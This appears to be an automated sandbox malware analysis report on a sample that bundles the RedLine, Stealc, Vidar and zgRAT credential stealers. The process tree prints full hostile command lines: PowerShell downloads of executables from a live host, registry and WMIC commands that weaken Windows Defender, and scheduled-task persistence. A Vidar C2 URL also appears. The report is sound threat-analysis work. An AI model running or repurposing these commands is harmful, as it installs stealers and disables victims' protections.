Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1432050
MD5:	6781c522f3390cc4947959d168e61bbc
SHA1:	8c94b577b260a9a1606af373ee25ab65478d797d
SHA256:	1c6bb4115d8b51391fd600bc70d88a8e9cc9e6406cd7f626087ff4cead341784
Tags:	exe
Infos:

Detection

Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Set custom UserAgent and download file via Powershell

Snort IDS alert for network traffic

Yara detected Mars stealer

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected Stealc

Yara detected UAC Bypass using CMSTP

Yara detected Vidar stealer

Yara detected zgRAT

C2 URLs / IPs found in malware configuration

Checks if the current machine is a virtual machine (disk enumeration)

Creates files in the recycle bin to hide itself

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking locale)

Found hidden mapped module (file has been removed from disk)

Found many strings related to Crypto-Wallets (likely being stolen)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies Group Policy settings

Modifies Windows Defender protection settings

Performs DNS queries to domains with low reputation

Powershell drops PE file

Sample uses string decryption to hide its real strings

Searches for specific processes (likely to inject)

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Contains capabilities to detect virtual machines

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file contains strange resources

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries keyboard layouts

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Suspicious desktop.ini Action

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 3012 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6781C522F3390CC4947959D168E61BBC)

cmd.exe (PID: 2704 cmdline: "cmd" /c "C:\Users\user\AppData\Local\Temp\nsg4683.tmp\load.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3408 cmdline: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/th.php?c=1000','stat')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 5040 cmdline: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

i1.exe (PID: 6972 cmdline: i1.exe /SUB=28381000 /str=one MD5: AE73EB4CBE39E4A9E28A367331329A12)

u5do.0.exe (PID: 2968 cmdline: "C:\Users\user\AppData\Local\Temp\u5do.0.exe" MD5: 80E0FECE33768E20034D106DB0D36341)

run.exe (PID: 4180 cmdline: "C:\Users\user\AppData\Local\Temp\u5do.2\run.exe" MD5: 9FB4770CED09AAE3B437C1C6EB6D7334)

cmd.exe (PID: 1292 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

u5do.3.exe (PID: 2848 cmdline: "C:\Users\user\AppData\Local\Temp\u5do.3.exe" MD5: 397926927BCA55BE4A77839B1C44DE6E)

WerFault.exe (PID: 7044 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6972 -s 1420 MD5: C31336C1EFC2CCB44B4326EA793040F2)

powershell.exe (PID: 5756 cmdline: powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=444', 'i2.bat')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 3480 cmdline: powershell -Command "(New-Object Net.WebClient).DownloadFile('https://dsepc5ud74wta.cloudfront.net/load/dl.php?id=456','i3.exe')" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

i3.exe (PID: 6092 cmdline: i3.exe MD5: 17704F5C7895ADD518E691A997D765FA)

Install.exe (PID: 5952 cmdline: .\Install.exe /EdidWTW "385128" /S MD5: 90487EB500021DBCB9443A2CF972A204)

cmd.exe (PID: 5948 cmdline: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1200 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 4500 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 4952 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 6136 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 1772 cmdline: forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 6208 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 5080 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 5512 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 6476 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 2828 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 6552 cmdline: forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 1976 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 2972 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 6548 cmdline: forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 6120 cmdline: /C powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 5356 cmdline: powershell start-process -WindowStyle Hidden gpupdate.exe /force MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

gpupdate.exe (PID: 2020 cmdline: "C:\Windows\system32\gpupdate.exe" /force MD5: 6DC3720EA74B49C8ED64ACA3E0162AC8)

conhost.exe (PID: 2292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 2636 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True" MD5: D95C443851F70F77427B3183B1619DD3)

conhost.exe (PID: 4720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1880 cmdline: /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 5348 cmdline: powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WMIC.exe (PID: 5912 cmdline: "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True MD5: E2DE6500DE1148C7F6027AD50AC8B891)

schtasks.exe (PID: 3836 cmdline: schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 11:07:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe\" Wt /QQndidSCwP 385128 /S" /V1 /F MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 4448 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt" MD5: D95C443851F70F77427B3183B1619DD3)

conhost.exe (PID: 1976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 5348 cmdline: /C schtasks /run /I /tn biPxHmULFllsbMgnpt MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

schtasks.exe (PID: 2828 cmdline: schtasks /run /I /tn biPxHmULFllsbMgnpt MD5: 48C2FE20575769DE916F48EF0676A965)

svchost.exe (PID: 2668 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Install.exe (PID: 2636 cmdline: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe Wt /QQndidSCwP 385128 /S MD5: 90487EB500021DBCB9443A2CF972A204)

cmd.exe (PID: 2788 cmdline: "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 348 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

forfiles.exe (PID: 744 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 3636 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 1880 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 4524 cmdline: forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 6180 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 4672 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 5040 cmdline: forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 6584 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 1472 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

forfiles.exe (PID: 1876 cmdline: forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" MD5: D95C443851F70F77427B3183B1619DD3)

cmd.exe (PID: 1976 cmdline: /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

reg.exe (PID: 3944 cmdline: reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6 MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: Vidar

{"C2 url": "http://185.172.128.76/3cd2b41cbde8fc9c.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\hmgv	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\hmgv	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\hmgv	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
C:\Users\user\AppData\Local\Temp\u5do.3.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x2e0d82:$s1: file:/// 0x37622b4:$s1: file:/// 0x2e0c8e:$s2: {11111-22222-10009-11112} 0x37621c4:$s2: {11111-22222-10009-11112} 0x2e0d12:$s3: {11111-22222-50001-00000} 0x3762244:$s3: {11111-22222-50001-00000} 0x2def8d:$s4: get_Module 0x35d4c17:$s4: get_Module 0x36d9e29:$s4: get_Module 0x3760477:$s4: get_Module 0x119d1a:$s5: Reverse 0x2df2ba:$s5: Reverse 0x35d606a:$s5: Reverse 0x36164de:$s5: Reverse 0x376075d:$s5: Reverse 0x11e961:$s6: BlockCopy 0x2dc197:$s6: BlockCopy 0x36e6142:$s6: BlockCopy 0x377ebcb:$s6: BlockCopy 0x11a25f:$s7: ReadByte 0x36dc30d:$s7: ReadByte
Click to see the 3 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000000.2221929722.0000000000401000.00000020.00000001.01000000.00000012.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000008.00000002.2524446815.00000000040A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000B.00000002.2250614344.00000000034D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000006.00000003.2228626485.00000000070A5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
0000000C.00000002.2449533153.000000000587B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000006.00000002.2386564787.00000000040E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000008.00000002.2522429358.0000000000447000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2450909724.0000000006300000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2450909724.0000000006300000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000008.00000002.2524680807.000000000418A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000002.2522429358.0000000000400000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
00000006.00000002.2388126595.0000000004185000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x9e8:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.2524648467.0000000004175000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x860:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000003.2090320672.00000000040E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000008.00000003.2090320672.00000000040E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
